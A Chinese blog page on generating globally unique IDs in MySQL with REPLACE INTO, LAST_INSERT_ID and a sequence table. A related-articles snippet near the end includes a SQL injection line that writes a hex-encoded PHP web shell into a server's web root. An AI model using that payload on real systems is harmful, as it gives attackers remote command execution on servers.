基于MySql的扩展功能生成全局ID_Mysql

本文利用 MySQL的扩展功能 REPLACE INTO 来生成全局id,REPLACE INTO和INSERT的功能一样,但是当使用REPLACE INTO插入新数据行时,如果新插入的行的主键或唯一键(UNIQUE Key)已有的行重复时,已有的行会先被删除,然后再将新数据行插入(REPLACE INTO 是原始操作)。

建立类似下面的表:

CREATE TABLE `tickets64` (
  `id` bigint(20) unsigned NOT NULL auto_increment,
  `stub` char(1) NOT NULL default '',
  PRIMARY KEY (`id`),
  UNIQUE KEY `stub` (`stub`)
) ENGINE=MyISAM; 

当需要获得全局唯一ID时,执行下面的SQL语句:

REPLACE INTO `tickets64` (`stub`) VALUES ('a');
SELECT LAST_INSERT_ID(); 

第一次执行这个语句后,ticket64表将包含以下数据:

+--------+------+ 
| id     | stub | 
+--------+------+ 
| 1      |    a | 
+--------+------+  

以后再次执行前面的语句,stub字段值为'a'的行已经存在,所以MySQL会先删除这一行,再插入。因此,第二次执行后,ticket64表还是只有一行数据,只是id字段的值为2。这个表将一直只有一行数据。

更棒的方法:

      比如,只需要一张ticket表就可以为所有的业务表提供各自连续的ID。下面,来看一下我们的方法。首先来看一下表结构:

CREATE TABLE `sequence` (
  `name` varchar(50) NOT NULL,
  `id` bigint(20) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`name`)
) ENGINE=InnoDB; 

 注意区别,id字段不是自增的,也不是主键。在使用前,我们需要先插入一些初始化数据:

INSERT INTO `sequence` (`name`) VALUES
('users'), ('photos'), ('albums'), ('comments'); 

接下来,我们可以通过执行下面的SQL语句来获得新的照片ID:

UPDATE `sequence` SET `id` = LAST_INSERT_ID(`id` + 1) WHERE `name` = 'photos';
SELECT LAST_INSERT_ID(); 

我们执行了一个更新操作,将id字段增加1,并将增加后的值传递到LAST_INSERT_ID函数,从而指定了LAST_INSERT_ID的返回值。

实际上,我们不一定需要预先指定序列的名字。如果我们现在需要一种新的序列,我们可以直接执行下面的SQL语句:

INSERT INTO `sequence` (`name`) VALUES('new_business') ON DUPLICATE KEY UPDATE `id` = LAST_INSERT_ID(`id` + 1);
SELECT LAST_INSERT_ID();

     这里,我们采用了INSERT … ON DUPLICATE KEY UPDATE这个MySQL扩展,这个扩展的功能也和INSERT一样插入一行新的记录,但是当新插入的行的主键或唯一键(UNIQUE Key)和已有的行重复时,会对已有行进行UPDATE操作。

当我们第一次执行上面的语句时,因为还没有name为'new_business'的字段,所以正常的执行了插入操作,需要注意的是通过这种方式获取的序列起始值为0,而不是1。因为第一次执行时,没有执行UPDATE,所以也没有为LAST_INSERT_ID传递值,我们也没有自增字段,所以SELECT LAST_INSERT_ID()将返回0。不过这个应该不是什么大问题。

UPDATE: 这个方法更容易解决单点问题,也不局限于两个服务器,只要对不同的服务器设置不同的初始值(但必须是连续的),然后将增量变为服务器数就行了。

以上内容是基于MySql的扩展功能生成全局ID的相关资料,希望大家喜欢。

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索mysql扩展
mysql全局id
php扩展全局变量、mysql 全局变量、mysql设置全局变量、mysql数据库全局搜索、mysql 全局搜索,以便于您获取更多的相关知识。

时间: 2024-09-30 11:55:57

基于MySql的扩展功能生成全局ID_Mysql的相关文章

mysql数据库分表后生成全局id的几种方式

 最近一个项目由于数据量变大,需要进行数据分表.数据存储在淘宝的tddl上.分表后,原先的自增id就不能使用了.tddl对java支持很好,分表后无需考虑全局id的问题.但是这个项目使用的是php进行开发,必须自己生成全局id.以下列出几种分表方案,仅当抛砖引玉.    方法1:使用CAS(compare and swap)    其实这里并不是严格的CAS,而是使用了比较交换原子操作的思想.    生成思路如下:    每次生成全局id时,先从sequence表中获取当前的全局最大id.然后在

使用Erwin进行基于MySQL的数据库设计

ERwin是常用的进行数据库设计的工具,支持众多的数据库,可惜不支持MYSQL,大概是因为很少有企业用到MYSQL吧,但是MYSQL实际上还是很优秀的. 为了能够使用ERWIN能够进行基于MYSQL数据库的物理设计,可以采用以下方法步骤: (假定你已经有了一个设计好的LOGICAL MODEL) 1.安装MYSQL的ODBC DRIVER,可以去MYSQL.COM,有链接可以下载. 2.在ODBC的管理程序中建立一个连接你的MYSQL数据库的USER DSN. 3.从已建立好的LOGICAL M

如何基于MySQL及Redis搭建统一的kv存储服务 | 秦波

一.MySQL+Redis常用部署方式 1.1  拓扑 1.2  特点 业务层通过双写同时写MySQL及Redis.读通常在Redis,若读取不到,则从MySQL读取,然后将数据同步到Redis,Redis通常设置expire或者默认LRU进行数据淘汰. 这种使用方式会有如下问题: 1)MySQL及Redis存在数据不一致风险,尤其是长时间运行的系统 2)业务层需要处理MySQL sql schema与Redis kv数据结构上的逻辑差异 3)无统一运维 4)无法方便扩容/缩容 二.KV化的存储

数据库分表后,并发环境下,生成全局id生成的几种方式

最近一个项目由于数据量变大,需要进行数据分表.数据存储在淘宝的tddl上.分表后,原先的自增id就不能使用了.tddl对java支持很好,分表后无需考虑全局id的问题.但是这个项目使用的是php进行开发,必须自己生成全局id.以下列出几种分表方案,仅当抛砖引玉. 方法1:使用CAS(compare and swap) 其实这里并不是严格的CAS,而是使用了比较交换原子操作的思想. 生成思路如下: 每次生成全局id时,先从sequence表中获取当前的全局最大id.然后在获取的全局id上做加1操作

通过Mysql的语句生成后门木马的方法

mysql|木马|语句 通过Mysql 的语句生成后门木马的方法! SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php' 通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/

PHP基于MySQL数据库实现对象持久层的方法

 本文实例讲述了PHP基于MySQL数据库实现对象持久层的方法.分享给大家供大家参考.具体如下: 心血来潮,做了一下PHP的对象到数据库的简单持久层. 不常用PHP,对PHP也不熟,关于PHP反射的大部分内容都是现学的. 目前功能比较弱,只是完成一些简单的工作,对象之间的关系还没法映射,并且对象的成员只能支持string或者integer两种类型的. 成员变量的值也没有转义一下... 下面就贴一下代码: 首先是数据库的相关定义,该文件定义了数据库的连接属性: ? 1 2 3 4 5 6 7 8

Solr DIH: 基于MySQL表数据建立索引

选择使用Solr,对数据库中数据进行索引,可以单独写程序将数据库中的数据导出并建立索引,这个过程可能对于数据处理的控制更灵活一些,但是却可能带来很大的工作量.选择使用Solr的DIH组件,可以很方便的对数据库表中数据进行索引,下面基于MySQL数据库实现建立索引. 首先,需要设计你的schema,最主要的工作是,将数据库表中字段映射为Lucene索引(Solr直接使用Lucene的索引格式和数据)的Field,从而将数据表中的一条记录映射为Lucene中的Document,然后进行索引.另外,在

jfreechart jsp mysql-jfreechart怎么从mysql读取数据生成柱状图饼状图并显示到web页面

问题描述 jfreechart怎么从mysql读取数据生成柱状图饼状图并显示到web页面 jfreechart怎么从mysql读取数据生成柱状图饼状图并显示到web页面,最好能有个实例.

求教mysql触发器字段生成流水号

问题描述 求教mysql触发器字段生成流水号 MySql主键流水号要求8位日期(20150725)+4位顺序号(0001),自增不重复 主键流水号用varchar吗?int好像插入不了12位. 求表结构和触发器的演示,谢谢! 解决方案 用varchar类型存储这个流水号. 其实我认为应该用存储过程,不知道你为什么用触发器. http://blog.csdn.net/dengsilinming/article/details/8488626 解决方案二: http://bbs.csdn.net/t